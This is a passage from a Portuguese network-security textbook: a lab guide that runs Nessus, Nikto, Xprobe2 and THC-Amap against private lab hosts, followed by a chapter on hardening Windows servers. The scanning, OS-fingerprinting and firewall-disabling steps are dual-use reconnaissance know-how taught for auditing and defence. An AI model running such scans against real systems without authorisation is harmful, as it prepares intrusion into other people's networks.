w Todas as ferramentas indicadas podem ser instaladas a partir do apt-get do Debian ou baixadas do site de cada ferramenta (Netcat, Hping, Nmap). Algumas delas também possuem versões para Windows, Mac OS X e outras plataformas.

Algumas recomendações que devem ser observadas pelo auditor:

q

11 Os registros de log estão precisos? Estão sendo gerados mais registros do que o necessário? 11 Existe procedimento para analisar os alertas? Eles são enviados para um local de rápida verificação? 11 Os registros estão em local seguro? 11 O horário do firewall está correto? Ele está sendo sincronizado com uma fonte de tempo confiável? Por fim, verificamos que a tarefa de auditoria não é uma tarefa simples. Apesar de existirem ferramentas que auxiliam o auditor em algumas questões, elas não resolvem todos os problemas. Bom senso e conhecimento ainda são fundamentais. Durante as atividades práticas, vamos exercitar o uso do Nessu, e teremos oportunidade de utilizar as demais ferramentas

Capítulo 8 - Auditoria de Segurança da Informação

apresentadas neste capítulo.

193

194

Segurança de Redes e Sistemas

Roteiro de Atividades 8 Atividade 1 – Auditoria com Nessus Instale e configure o Nessus, conforme apresentado na parte teórica. Realize uma auditoria a partir da estação cliente, objetivando analisar os dois servidores presentes na rede de servidores. Oriente o Nessus a analisar a rede inteira. Passo 1

Baixe o pacote do Nessus no endereço: http://www.nessus.org/download/ Escolha a versão para Linux Debian 32 bits. Foi disponibilizada no diretório home do usuário root da sua máquina virtual uma versão do Nessus. Caso não seja possível o download da versão mais atual, essa versão pode ser utilizada.

Passo 2

Instale o pacote na máquina virtual BackTrack com o comando:

# dpkg –i /root/Nessus-4.4.0-debian5_i386.deb Passo 3

Faça o registro no site do projeto com o perfil de licença HomeFeed. Esse perfil é o suficiente para o propósito desta atividade. Para fazer o registro, acesse: http://www.nessus.org/register/ Cadastre um e-mail válido, para o qual será enviado o número da licença.

Passo 4

Inicie o servidor Nessus com o comando:

# /etc/init.d/nessusd start Passo 5

Acesse o console de gerência do Nessus, a partir de um navegador web da máquina Windows XP: https://172.16.G.30:8834 Certifique-se de que existe regra de exceção no firewall para permitir essa conexão e não esqueça de seguir os passos indicados pelo instalador web, em especial o passo que solicita a digitação do registro do Nessus. Se você digitar o número de registro e por algum motivo o Nessus não conseguir conexão à internet, poderá ser necessário gerar outra chave de registro.

Passo 6

Com o console aberto, crie uma nova Policy, com o nome “padrao”. Marque todas as opções de Port Scanners disponíveis. Em Credentials, aceite as configurações padrão. Habilite todos os filtros, clicando no botão Enable All. No restante das opções, aceite os valores padrão.

Passo 7

No console do Nessus, crie um novo Scan com os parâmetros:

Nome: RedeDMZ

Policy: Padrao Scan Targets: 172.16.G.0/24 Clique no botão Launch Scan. Passo 8

Analise o relatório gerado pelo Nessus no menu Reports. Foi possível encontrar os hosts da rede DMZ? Quais serviços foram encontrados? Existe alguma falha que possa comprometer a segurança dos sistemas?

Capítulo 8 - Roteiro de Atividades

Type: Run Now

195

Atividade 2 – Auditoria sem filtros de pacotes Agora retire todas as regras do firewall e refaça a auditoria com uso no Nessus a partir da estação cliente, objetivando os dois servidores presentes na rede DMZ. Oriente o Nessus para analisar apenas os dois endereços IPs, para agilizar o processo. Passo 1

Desabilite todas as regras no firewall do host FWGW1. Pode ser utilizado o seguinte comando:

# iptables-restore < /etc/iptables.down.rules Passo 2

Acesse o console de gerência do Nessus, a partir de um navegador web da máquina Windows XP: https://172.16.G.30:8834 Certifique-se de que existe regra de exceção no firewall para permitir essa conexão.

Passo 3

Com o console aberta, crie uma nova Policy, com o nome “VerificaIDS”. Marque as opções de Port Scanners, TCP Scan e SYN Scan, escolha Port Scan Range 80,443. Em Credentials, aceite as configurações padrão. Habilite apenas os filtros relacionados a servidores web, clicando no botão Disable All e habilitando apenas as famílias de regras CGI abuses e Web Servers. No restante das opções, aceite os valores padrão.

Passo 4

Abra uma sessão Shell no host FWGW1 e deixe listando todos alertas do Snort, com o comando:

# tail –f /var/log/snort/alert Passo 5

No console do Nessus, crie um novo Scan com os parâmetros:

Nome: WebDMZ Type: Run Now Policy: VerificaIDS Scan Targets: 172.16.G.10,172.16.G.20 Clique no botão Launch Scan. Passo 6

Verifique os logs do Snort. Foi registrada alguma tentativa de explorar falhas em serviços web?

Atividade 3 – Auditoria do IDS Insira as regras de bloqueio de firewall criadas no capítulo3 e realize a auditoria novamente. Caso tenha realizado a auditoria com as regras retiradas, insira-as agora e realize nova auditoria. Compare os dois relatórios e verifique o que mudou. Altere parâmetros no Nessus e verifique as mudanças nos resultados.

Atividade 4 – Exemplo de auditoria Segurança de Redes e Sistemas

A partir do exemplo que foi dado sobre auditoria em um firewall, imagine uma auditoria em

196

uma ferramenta de IDS. Quais detalhes você analisaria? Procure verificar as diferenças entre esta auditoria e o exemplo do firewall.

Atividade 5 – Utilizando o Nikto A ferramenta Nikto é um scanner de vulnerabilidades especializado, ou seja, desenvolvido para análise um determinado serviço. Nesta atividade pede-se para executar o Nessus e o Nikto contra o servidor Windows 2008 e comparar o relatório gerado. Os passos abaixo explicam como instalar e executar o Nikto. Passo 1

Baixe o Nikto no Servidor LinServer e descompacte-o:

# wget -c http://www.cirt.net/nikto/nikto-current.tar.gz # tar -xzpf nikto-current.tar.gz # cd nikto-2.1.4 Passo 2

Agora vamos executar a atualização do Nikto:

# ./nikto.pl -update Passo 3

Agora vamos disparar o Nikto contra o servidor Windows 2008 que possui o serviço HTTP instalado:

# ./nikto.pl -h 172.16.G.20 -o /tmp/relatorio.txt Acesse o arquivo /tmp/relatorio.txt e veja as vulnerabilidades encontradas. Pesquise no Google sobre algumas das vulnerabilidades indicadas e como você poderia corrigi-las.

Atividade 6 – Utilizando o Xprobe O Xprobe é um utilitário que permite identificar, remotamente, a versão do sistema operacional da máquina-alvo. Para executar essa atividade ele busca, entre outros testes, identificar o sistema operacional a partir da forma de implementação do protocolo TCP/IP. Nesta atividade, iremos executar o Xprobe contra as máquinas Linux e Windows Server e observa o resultado gerado. Passo 1

Para instalar o Xprobe no Debian, execute:

# apt-get install xprobe2 Agora execute o Xprobe contra os servidores Linux e Windows e guarde os resultados para discutir na sala de aula:

# xprobe2 172.16.G.1 # xprobe2 172.16.G.20

Capítulo 8 - Roteiro de Atividades

Passo 2

197

Atividade 7 – Utilizando o THC-Amap O THC-Amap é uma ferramenta para a identificação remota de serviços de rede. Seu modo de funcionamento busca identificar o serviço em uma máquina-alvo pelo banner do serviço e não apenas pelo número da porta. Nesta atividade executaremos o Amap contra as máquinas Linux e Windows Server e observar o resultado gerado. Passo 1

Para instalar o THC-Amap no Debian, execute:

# apt-get install gcc make gcc++ # wget http://freeworld.thc.org/releases/amap-5.2.tar.gz # tar xvzf amap-5.2.tar.gz # cd amap-5.2 # ./configure # make # make install Passo 2

Agora execute o Amap. Nesta tentativa, iremos tentar identificar o serviço na máquina-alvo que está executando na porta 22.

Segurança de Redes e Sistemas

# amap –bqv 172.16.G.1 22

198

l Saiba mais Para mais informações sobre o Amap, acesse: http://www.aldeid.com/ wiki/Thc-amap

9 Apresentar técnicas básicas de configuração segura de servidores Windows, configurar filtros de pacotes, analisar processos ativos, criar uma configuração inicial e desabilitar processos e serviços desnecessários.

conceitos

Técnicas de proteção em profundidade, como firewalls de perímetro e proxy, IDS e IPS.

Introdução Prevenir acesso não autorizado a dados sensíveis é essencial em qualquer ambiente em que múltiplos usuários têm acesso aos recursos físicos ou via rede. Um sistema operacional deve ser configurado de forma segura antes de ser exposto em uma rede pública não controlada, como o caso da internet. Este processo de reforçar a segurança é chamado de hardening. Veremos neste capítulo técnicas e ferramentas utilizadas em ambientes Microsoft Windows que auxiliam nestas atividades. Apesar de muito importante, o administrador de segurança não deve confiar inteiramente na segurança do servidor após o hardening, pois alguma configuração insegura pode ter passado despercebida, ou alguma nova vulnerabilidade, desconhecida quando o hardening foi implantado, podendo ter afetado o servidor em questão. Seguindo o princípio da defesa em profundidade, recomenda-se que o servidor seja ainda protegido por outros recursos, como firewalls, proxies reversos, IDS (HIDS e NIDS) e IPS.

Exercício de nivelamento 1 e Configuração segura de servidores Windows O que você entende por hardening?

Na sua organização como é realizado o hardening? Como é seguido o princípio da defesa em profundidade?

Capítulo 9 - Configuração segura de servidores Windows

objetivos

Configuração segura de servidores Windows

199

Necessidade de configuração de um bastion host Em um ambiente Microsoft Windows, publicado na internet, é vital utilizar o conceito de bastion host para garantir a integridade do sistema. Existem inúmeras falhas de segurança documentadas que permitem ao invasor acesso total à máquina-alv, quando esta é disponibilizada em uma rede pública e com a instalação padrão do sistema operacional. Atualmente, esse valor é inferior a 10 minutos, de modo que uma máquina conectada à internet por um tempo superior provavelmente já está infectada por algum worm ou foi invadida.

w

O bastion host será uma máquina exposta na rede pública disponibilizando recursos e serviços. Por ser uma máquina com serviços públicos, essa será a primeira barreira a ser vencida por um invasor para tentar obter acesso aos sistemas da rede privada. Existem várias implementações possíveis de bastion hosts, de acordo com os serviços

q

que ele oferece. Alguns exemplos: 11 Firewall gateways. 11 Servidores web. 11 Servidores FTP. 11 Servidores de nome DNS. 11 Transportadores de e-mail. No caso, um bastion host pode oferecer mais de um serviço, conforme as topologias já discutidas em sessões anteriores.

Exercício de fixação 1 e Bastion host O que é um bastion host? Qual a sua finalidade?

Check-list É recomendado planejar a instalação e escrever um check-list das atividades a serem realizadas e auditadas nos servidores públicos: 11 Remover ou desabilitar todos os serviços não necessários no host. 11 Remover ou desabilitar todas as contas de usuário não necessárias.

Segurança de Redes e Sistemas

11 Remover ou desabilitar todos os protocolos de rede não utilizados. 11 Configurar adequadamente os registros de log do sistema para que possam identificar possíveis ataques ou atividade suspeita. 11 Implantar um sistema de detecção de intrusão de host. 11 Atualizar o sistema operacional com as últimas correções de segurança disponibilizadas pelo fabricante. 11 Filtrar todas as portas que não são necessárias para o host. 11 Utilizar conexão criptografada para conectar no host. 11 Evitar a instalação de aplicativos não necessários e/ou notadamente vulneráveis, como Flash, PDF Viewers, Java etc. 200

q

O Internet Storm Center (ISC) publica uma estatística sobre o tempo em que uma máquina sem nenhuma correção de segurança “sobrevive” na internet. http://www.dshield.org/ survivaltime.html

A seguir, veremos com mais detalhes as configurações de segurança recomendadas para servidores que utilizam o sistema operacional Microsoft Windows.

Configuração de filtros de pacotes O Windows XP, 2003, 2008 e 7 trazem no próprio sistema operacional um aplicativo para

q

controlar o filtro de pacotes. No XP e 2003, o filtro de pacote é simples, o que justifica o uso de aplicativo de terceiros para melhor controle do filtro, como por exemplo o Zone Alarm, da Check Point. No Windows 7 e Windows Server 2008, o aplicativo recebeu atualizações significativas, permitindo a configuração de perfis e a importação e exportação de regras, entre outras funcionalidades. Podemos utilizar uma ferramenta que acompanha o sistema operacional: netstat, ou ferramentas adicionais como o TCPview da suíte Sysinternals. Através do netstat e do TCPview, verificamos as portas abertas no servidor para localizar e desabilitar o serviço em questão, ou filtrar a porta. Cada serviço de rede presente em um servidor pode escutar uma porta, TCP ou UDP, para receber conexões de outros servidores ou clientes. Alguns desses serviços são importantes para o bom funcionamento do servidor, e nem sempre podem ser desabilitados. Quando verificamos as portas abertas em uma configuração padrão de um servidor Windows, vemos que existe uma série de portas que são abertas por padrão no sistema. Colocar um sistema de forma pública na internet, sem a devida filtragem dos serviços que não estão em uso, é arriscado e pode comprometer a segurança do servidor. Felizmente, muitos sistemas operacionais permitem que seja configurado um filtro de pacotes para controlar as portas que estarão disponíveis para serem conectadas por hosts externos. A versão padrão do Windows XP, 2003, 2008 e 7 trazem no próprio sistema operacional um aplicativo para controlar o filtro de pacotes. No caso específico do XP e do 2003, o filtro de pacote é mais simples, o que justifica o uso de aplicativo de terceiros para melhor controle do filtro, como por exemplo o Zone Alarm, da Check Point. Lembre-se de que essa filtragem é local, e não deve ser utilizada para substituir uma filtragem de perímetro, propriamente feita através de um firewall, mas apenas como um mecanismo adicional de segurança (defesa em profundidade). O aluno deve observar de filtros de pacotes locais em cada servidor pode tornar o gerenciamento do ambiente complexo, de modo que o uso de filtros em cada servidor deve ser feito com parcimônia. Para listar as portas que estão aguardando conexão de rede ou as conexões estabelecidas, podemos usar uma ferramenta do próprio sistema operacional, neste caso com o comando netstat, como mostra a próxima figura.

Capítulo 9 - Configuração segura de servidores Windows

também que caso haja muitos servidores disponibilizando serviços públicos, a configuração

201

Figura 9.1 Conexões de rede.

A suíte de ferramentas SYSInternals oferece outra ferramenta para listar com mais detalhes as conexões de rede estabelecidas e seus respectivos processos, além de também listar as portas que estão aguardando por conexões de rede. Segue abaixo exemplo de listagem de

Segurança de Redes e Sistemas

portas da ferramenta TCPview.

202

Figura 9.2 Conexões de rede com TCPView.

Através do netstat e do TCPview, podemos verificar as portas que estão abertas no servidor, de modo a localizar e desabilitar o serviço em questão ou filtrar a porta. Outra forma de verificar as portas abertas é utilizando o Nmap. Desabilitar serviços em sistemas Windows é um processo que demanda certa paciência. Caso um serviço essencial seja desabilitado, algum comportamento inesperado pode acontecer. Recomenda-se que seja utilizada uma máquina de testes, para se criar familiaridade com o processo, antes de desabilitar serviços em servidores em produção. Mais à frente, serão vistos com mais detalhes o modo de desabilitar serviços no Windows. O Windows Firewall é o aplicativo que acompanha o sistema operacional para controle de conexões de rede, que normalmente vem configurado por padrão na instalação padrão do Windows. Nas versões Windows 7 e Windows Server 2008, o aplicativo recebeu atualizações significantes, permitindo a configuração de perfis, importação e exportação de regras, entre outras funcionalidades.

Abaixo, seguem os passos para criar uma regra no firewall: 1. Clique na opção desejada de acordo com a necessidade de criar uma regra de entrada

(pacotes que entram no servidor) ou regra de saída (pacotes que saem do servidor). 2. No painel de ações, no lado direito, clique em “Nova Regra” (New Rule).

Capítulo 9 - Configuração segura de servidores Windows

Figura 9.3 Windows Firewall para Windows Server 2008.

203

3. Selecione que deseja criar uma regra para uma porta. 4. Selecione o protocolo (TCP ou UDP). 5. Selecione as portas que deseja incluir nesta regra, separadas por vírgula. 6. Selecione a ação desejada (permitir, permitir com IPsec ou bloquear). 7. Selecione os perfis aos quais esta regra vai se aplicar. 8. Defina um nome e uma descrição para a regra.

Por fim, verifique a regra criada no painel da ferramenta. Você pode testar as suas regras com os comandos já apresentados.

Desabilitar serviços em sistemas Windows é um processo que demanda paciência. Caso um serviço essencial seja desabilitado, pode ocorrer algum comportamento inesperado. Outra forma de identificar os serviços ativos e não bloqueados pelo firewall é através de Nmap.

Exercício de fixação 2 e Configuração de filtros de pacotes Explique como deve ser feita a configuração de filtro de pacotes.

Criação de uma linha base de segurança (baseline) Uma baseline é uma referência inicial de segurança, um ponto inicial para a evolução

q

para uma configuração segura. É importante criar um mapa do tempo dos servidores da rede, registrando a data de instalação do sistema operacional, das principais correções e da instalação de aplicativos. Essa linha do tempo será útil para manter atualizado o inventário dos sistemas e, principalmente, para uma eventual auditoria. Uma baseline consiste em uma referência inicial de segurança, um ponto inicial, a partir do qual se evolui para uma configuração segura. Os servidores Windows possuem alguns perfis padrão de segurança, de acordo com o papel que aquele servidor irá desempenhar. Mais adiante, serão vistas algumas ferramentas que permitem a criação de uma baseline e a posterior auditoria para verificar se a configuração atual atende ao mínimo necessário de segurança. Além da baseline, é preciso criar um mapa do tempo (timeline) dos servidores da rede,

Segurança de Redes e Sistemas

registrando a data de instalação do sistema operacional, das principais correções e da instalação de aplicativos. Essa linha do tempo será útil para manter atualizado o inventário dos sistemas e principalmente para uma eventual auditoria.

Desabilitando serviços desnecessários O Windows 2008 Server traz alguns avanços de segurança que auxiliam na criação de um bastion host: os papéis. O conceito de papéis (roles) ajuda no processo de habilitar somente programas necessários e evitar comprometer a segurança do sistema. O sistema de papéis, quando aplicado, irá: 11 Iniciar somente os serviços necessários.

204

q

11 Liberar exceções nos filtros de pacotes nas interfaces de rede que forem necessárias. Logo após a instalação do sistema operacional, depois do primeiro acesso ao sistema, a ferramenta de configuração de papéis é apresentada. Com a escolha de um determinado role, o aplicativo iniciará somente os serviços e liberará exceções nos filtros de pacotes nas interfaces de rede em que isso for necessário. Essa é uma grande evolução, que facilita o processo de desabilitar serviços desnecessários e liberar regras de acesso para os serviços que estão sendo usados.

Figura 9.4 Regras de configuração do Windows 2008 Server.

Nos sistemas operacionais que possuem o recurso de roles, é importante verificar se os roles realmente disponibilizam somente os serviços necessários. Nos sistemas operacionais mais antigos da Microsoft (Windows XP e 2003 Server), os serviços se tornam o principal controle de recursos disponíveis no sistema, de modo que devem ser desabilitados de forma manual. A ferramenta Services MMC, que acompanha o sistema operacional, ajuda nessa tarefa. Ela pode ser encontrada no Painel de Controle, no item “Ferramentas Adminis-

Capítulo 9 - Configuração segura de servidores Windows

trativas”. Ao iniciar a ferramenta Services, obtemos a seguinte tela:

205

Através da ferramenta, podemos iniciar, encerrar e desabilitar serviços. Para iniciar e encerrar um serviço, basta clicar em cima do serviço e escolher uma das opções, que se assemelham aos controles de um programa tocador de música. Note que alguns serviços não podem ser encerrados, pois são serviços essenciais para o funcionamento do sistema operacional. Para desabilitar um serviço, basta clicar no serviço desejado e mudar o startup type para disabled. Uma tarefa importante para a configuração segura de servidores consiste em saber a porta TCP ou UDP associada a um determinado serviço, de modo que possamos desabilitar os serviços desnecessários que abrem portas de rede no servidor. Essa tarefa pode ser realizada utilizando alguns utilitários disponíveis na internet. Abaixo, um exemplo de como podemos descobrir um serviço que corresponda a uma porta específica. 1. Através do netstat –ano ou do TCPview, verificamos uma porta da qual desejamos saber o

serviço correspondente. No exemplo abaixo, a porta UDP 1900, que corresponde ao pro-

Segurança de Redes e Sistemas

cesso de número 1216 (svchost.exe). Geralmente um serviço é executado por esse programa.

206

2. A partir do número do processo, verificamos no Process Explorer as propriedades do

processo em questão. Na aba Services, encontramos os serviços associados ao processo svchost.exe em questão.

Figura 9.5 Serviços do Windows XP.

Figura 9.6 Serviços associados ao processo svchost.exe.

3. No caso, um dos serviços apresentados é o serviço que procuramos. O próximo passo é

desabilitar os serviços em questão, um a um, até que a porta em questão desapareça do netstat ou do TCPview. No exemplo acima, o serviço responsável pela porta 1900 UDP é o SSDP Discovery Service. 4. Na Wikipedia (List of TCP and UDP port numbers) há uma lista de portas conhecidas e os

O Process Explorer pode ser encontrado no endereço: http://technet. microsoft.com/en-us/ sysinternals/bb896653

de fato ao serviço SSDP, que possui relação com a descoberta de dispositivos UPnP.

Exercício de fixação 3 e Baseline Explique o que é uma linha base de segurança.

Ferramentas de análise da segurança do Windows 11 Windows Management Instrumentation Console (WMIC).

q

11 Windows Server Update Services (WSUS). 11 Microsoft Baseline Security Analyzer (MBSA). Existem várias ferramentas que auxiliam na administração de segurança de servidores Windows. As ferramentas que acompanham o sistema operacional são preteridas por normalmente continuarem funcionando mesmo após grandes atualizações, como no caso de

Capítulo 9 - Configuração segura de servidores Windows

w

processos correspondentes, onde podemos confirmar que a porta 1900 UDP corresponde

207

um Service Pack. Porém, ferramentas terceiras normalmente trazem informações mais deta-

l

lhadas e com relatórios úteis na gestão dos servidores. Vamos ver exemplos de ferramentas úteis para a análise de segurança de servidores Windows.

WMIC Windows Management Instrumentation Console (WMIC) é também conhecida como “canivete suíço do Windows”. Essa ferramenta é executada em linha de comando e pode ser executada

Saiba mais Para maisores detalhes dos comandos disponíveis, consulte a ajuda on-line ou através do próprio aplicativo com o comando: wmic /?

no servidor local ou remoto pela rede de dados. Essa ferramenta está disponível em todas as versões do Windows a partir do Windows NT. A sintaxe do WMIC é sempre: wmic

Figura 9.7 Exemplo de uso do WMIC.

Exemplo:

Principais objetos no auxílio de auditoria de segurança:

q

11 startup: lista todos os processos que são iniciados junto com o sistema operacional. 11 process: lista dos processos executados pelo sistema. 11 cpu: informações sobre o processador físico. 11 group: lista de grupos cadastrados no sistema. 11 useraccount: lista dos usuários cadastrados no sistema. O WMIC é capaz de gerar relatórios em vários formatos, como CSV, XML, HTML, através da

Segurança de Redes e Sistemas

diretiva /FORMAT:. Mais um exemplo do uso do WMIC:

SYSInternals A suíte de ferramentas desenvolvidas inicialmente por Mark Russinavich e Bryce Cogswell oferece a possibilidade de uma verificação mais detalhada do funcionamento do sistema operacional. As ferramentas podem ser baixadas gratuitamente do site da Microsoft: http://technet.microsoft.com/en-us/sysinternals/

208

Figura 9.8 Mais um exemplo de uso do WMIC.

Algumas já foram apresentadas, como o TCPview e o Process Explorer. Com o objetivo de auxiliar o analista a gerenciar o host, resolver problemas e diagnosticar o sistema operacional e aplicativos, a Microsoft adquiriu em 2006 a suíte de ferramentas SYSInternals e contratou Mark Russinavich para continuar na equipe de desenvolvimento da suíte de ferramentas. A seguir algumas ferramentas importantes da suíte do SysInternals:

q

11 Autoruns: mostra os programas que inicializam automaticamente com o sistema. 11 Diskmon: captura toda a atividade do disco rígido. 11 EFSDump: verifica informações sobre arquivos cifrados. 11 ProcDump: captura área de memória de processos. 11 PsService: visualiza e controla serviços. 11 RootkitRevealer: verifica o sistema em busca de programas maliciosos do tipo rootkit. 11 Process Monitor: monitora diversas informações sobre processos, incluindo alterações do registry e do sistema de arquivos. Muito útil para verificar o comportamento

Figura 9.9 Exemplo de uso do psinfo.

Outra ferramenta bastante útil é o dumpsec, da SystemTools: http://www.systemtools.com Com ela você poderá gerar um arquivo de texto contendo todas as permissões de acesso dos usuários referentes a arquivos, pastas, registros e compartilhamentos. Tal relatório permite identificar se todas as permissões estão configuradas de acordo com a política da organização.

Capítulo 9 - Configuração segura de servidores Windows

de certos programas.

209

WSUS Windows Server Update Services (WSUS) é uma ferramenta da Microsoft que auxilia no processo de atualizações dos sistemas e aplicativos Microsoft. É um serviço que pode ser executado em versões do Windows Server 2000, 2003 e 2008. Esse serviço é responsável por baixar as atualizações dos servidores da Microsoft e distribuí-las para as estações de trabalho e servidores da rede. Essa distribuição pode ser realizada automaticamente de forma pré-aprovada pelo administrador do sistema ou com aprovações manuais para cada atualização, em casos mais críticos. O WSUS também é capaz de gerar relatórios personalizados da situação de cada host da rede, exibindo detalhes da atualização do sistema operacional e aplicativos Microsoft. A instalação do WSUS, pela sua complexidade, não será coberta por esse curso, porém existem diversos guias na internet que explicam em detalhes a instalação da ferramenta. A seguir, uma tela inicial do WSUS em execução:

MBSA Microsoft Baseline Security Analyzer (MBSA) é uma ferramenta capaz de verificar se servidores – com Windows Server 2003 e 2008, e estações de trabalho com Windows XP, Vista e 7 – estão de acordo com as recomendações de segurança da Microsoft e ainda se estão com as últimas versões das correções de segurança instaladas. Para utilizar o MBSA, Segurança de Redes e Sistemas

será necessário ter conta no sistema com privilégio de administrador.

210

Figura 9.10 Tela inicial do WSUS.

Além de verificar a instalação de correções de segurança, o MBSA também verifica falhas comuns na configuração dos servidores, como o serviço de atualização desligado, contas de usuário que nunca expiram, contas sem senhas, configurações com fragilidade de segurança do Internet Explorer, entre outras. O MBSA é gratuito para usuários Windows.

Microsoft Security Compliance Manager A ferramenta Microsoft Security Compliance Manager é completa para a segurança de servidores e estações Windows. Tem por objetivo concentrar uma série de conhecimentos sobre a segurança de servidores e facilitar o processo de hardening de servidores e estações. Ela permite aplicar uma série de parâmetros de segurança, a customização de baselines e a exportação em formatos fáceis de aplicar em um ambiente. Recursos presentes na ferramenta: 11 Gerenciamento centralizado de baselines 22 Provê uma interface centralizada de gerenciamento para prover, planejar e customizar baselines, incluindo as recomendadas para os sistemas operacionais Windows. 11 Customização de baselines 22 Permite customizar, comparar, juntar e revisar as baselines. 11 Exportação para múltiplos formatos 22 Permite a exportação das configurações em diversos formatos, incluindo XLS, GPO, DCM e SCAP, para permitir a automação da implantação e o monitoramento da aderência às baselines definidas. Suporta Windows Server 2008 R2, Windows Server 2008, Windows Server 2003, Hyper-V, Windows 7, Windows Vista, Windows XP, BitLocker Drive Encryption, Windows Internet Explorer 8, Microsoft Office 2010 e Microsoft Office 2007 SP2.

q

Capítulo 9 - Configuração segura de servidores Windows

Figura 9.11 Microsoft Baseline Security Analyzer.

211

A figura a seguir mostra o console principal da ferramenta:

Figura 9.12 Microsoft Security Compliance Manager.

Ele requer o .NET runtime e o SQL Server Express. Os seguintes passos são necessários para a instalação da ferramenta: 1. Baixe a ferramenta no seguinte link: http://go.microsoft.com/fwlink/?LinkId=14840. 2. Execute a instalação. O User Account Control (UAC) vai pedir permissões para executar o

instalador como administrador. Autorize as permissões. 3. Na tela seguinte, marque a opção: “Automatically check for application and baseline

updates from microsoft.com during application usage for current user”. 4. Aceite os termos da licença. Instale a ferramenta no diretório padrão e escolha um nome

para identificar as baselines criadas (ex.: ESR). 5. Na página referente ao SQL Server Express, escolha a opção “Download and Install”. 6. Aceite os termos da licença do SQL Server Express. 7. Aguarde a instalação da ferramenta e seus pré-requisitos. Dependendo da conexão de

internet, pode demorar um tempo. Durante a instalação, caso o .NET Runtime não esteja instalado, o MSCM não será instalado e Segurança de Redes e Sistemas

será necessário baixar e instalar esse componente.

212

Ao iniciarmos o MSCM pela primeira vez, o aplicativo automaticamente busca e instala as versões mais recentes dos templates de segurança para as plataformas suportadas por ele. Essa atualização é importante para garantir que as últimas versões dos templates estão sendo utilizadas. Essa atualização pode também ser realizada através do menu “Tools”, opção “Check for baselines”. Na tela principal, temos então os seguintes componentes:

w O Microsoft Security Compliance Manager pode ser baixado em http://technet. microsoft.com

Figura 9.13 Microsoft Security Compliance Manager.

Baseline Library

q

11 Lista todas as baselines numa estrutura hierárquica. 11 Ao clicar em uma baseline com o botão direito, um menu apresenta alguns comandos que podem ser aplicados. Baseline Information Pane 11 Apresenta informações sobre a baseline selecionada. Actions 11 Apresenta comandos para a gerência das baselines. Vamos agora imaginar que queremos criar uma baseline para o Windows 7. Ao iniciar o MSCM, vemos no lado esquerdo o painel de bibliotecas de baseline. Dentro da categoria “Windows 7”, vamos escolher uma baseline que se adeque às nossas necessidades. Neste uma série de informações. Agora, podemos verificar que a baseline escolhida se refere a uma política para estações de trabalho (desktop). A sigla SSLF se refere a “Segurança Especializada – Funcionalidade Limitada”, que indica que a política correspondente é bastante restritiva. Segundo a descrição, essa política só é aplicável em organizações que possuam altos padrões de segurança, onde ela é mais importante que a funcionalidade das aplicações. Ela ainda assume que o ambiente utiliza o Active Directory e que a comunicação só é feita com computadores com a versão mais atual do sistema Windows e com as atualizações mais recentes. Na parte superior da janela, vemos uma aba Documents, que nos fornece informações adicionais sobre a segurança do sistema operacional em questão. No exemplo, o documento Windows 7 Security Guide.docx oferece um guia completo sobre a segurança desse sistema operacional. A partir de uma baseline padrão, exporta-se para formatos que podem ser aplicados em computadores, como GPO, DCM e SCAP. Para customizar uma baseline, porém, temos de

Capítulo 9 - Configuração segura de servidores Windows

exemplo, usaremos o Win7-SSLF-Desktop 1.0. Ao clicar na baseline no painel central, vemos

213

criar uma cópia, pois as da Microsoft não são editáveis. No painel do lado direito, encontramos a opção Duplicate, que permite duplicar uma baseline, que aparecerá na árvore do lado esquerdo da janela, na parte superior.

Figura 9.14 Exemplo de duplicação de baseline.

A partir dessa cópia, podemos analisar cada parâmetro de configuração e alterá-lo, criando uma nova baseline personalizada. No exemplo, ao clicar em “Power management/sleep settings” e na aba Definitions abaixo, podemos habilitar (enable) e desabilitar (disable) esse item específico, que corresponde à exigência de senha quando o computador sair do modo de espera. Ao finalizar a configuração desejada, a opção “Create GPO Backup” permite criar um Group Policy Object (GPO), que pode ser aplicado em um computador específico (ou em um conjunto de computadores), utilizando o Active Directory ou o Local Policy Tool (LPT), que acompanha a ferramenta. Opcionalmente podemos exportar a configuração no formato Desired Configuration Management (DCM), de modo a utilizar o Configuration Manager para monitorar os computadores no ambiente, verificando se estão de acordo com as baselines definidas. Por se tratar de um produto comercial, o System Center Configuration Manager não será detalhado neste capítulo.

Exercício de fixação 4 e Microsoft Security Compliance Manager Explique como funciona o Microsoft Security Compliance Manager?

Sistemas de arquivos e gerenciamento de usuários Sistemas de arquivos do Windows:

q

11 FAT32. 11 NTFS. 11 Controle de acesso em sistemas NTFS. Por fim, porém não menos importante, um sistema seguro deve utilizar um sistema de

Segurança de Redes e Sistemas

arquivos que suporte a criação de permissões, de modo a limitar o acesso dos usuários, limi-

214

tando um potencial estrago em caso de comprometimento de uma conta de usuário, além de incluir o mínimo de usuários possíveis. O sistema de arquivos padrão do Windows, a partir da versão NT, é o NTFS. Apesar de suportar outros sistemas, como o FAT32, recomenda-se que seja usado sempre o NTFS por questões de segurança, pois ele possui a capacidade de ajuste de permissões por usuário (ACL), para que o sistema de arquivos possa ser configurado de modo que os usuários só tenham acesso ao que realmente for necessário para a utilização do sistema (princípio do menor privilégio). Podemos verificar as permissões de um determinado arquivo ou pasta no sistema, através das propriedades, na aba Segurança:

Figura 9.15 Permissões de um determinado arquivo.

vendo permissões. É importante lembrar que os servidores que utilizam NTFS como sistema de arquivos já possuem uma configuração inicial razoavelmente restritiva, de modo que um usuário não administrador tenha poucos privilégios no ambiente, não conseguindo instalar novos programas e com permissão de gravação apenas na sua pasta de trabalho. Ao configurar o sistema, devemos verificar ainda as contas de usuário, removendo todas as contas que não estão em uso, especialmente contas de convidado (guest), e definindo senhas complexas para os usuários e para a conta de administração. Outra prática comum é renomear a conta de administrador, de modo que dificulte a ação de ataques de força bruta, com o objetivo de encontrar a senha dessa conta.

Group Policy Objects Uma das grandes tarefas de um administrador de redes é o gerenciamento de usuários, grupos e computadores de uma rede e, dependendo do tamanho da estrutura da organização, essa tarefa pode demandar horas e mais horas de planejamento e execução. Uma ferramenta de vital importância para suprir essa demanda é sem dúvida o Group Policy Objects (GPO), presente nos sistemas operacionais de rede da Microsoft desde a versão 2000. Com ele podemos controlar boa parte do comportamento tanto das estações de trabalho que compõem nosso parque de máquinas quanto do próprio servidor. Essas políticas facilitam a configuração de várias máquinas ao mesmo tempo, bastando apenas escolher qual política utilizar para toda a empresa, para um grupo específico ou mesmo para apenas uma estação de trabalho. Com o GPO podemos: 11 Restringir ícones e botões da área de trabalho ou do menu Iniciar.

Capítulo 9 - Configuração segura de servidores Windows

d

O documento “Threats and Countermeasures: Security Settings in Windows Server 2008 and Windows Vista” apresenta recomendações importantes para configurar um bastion host.

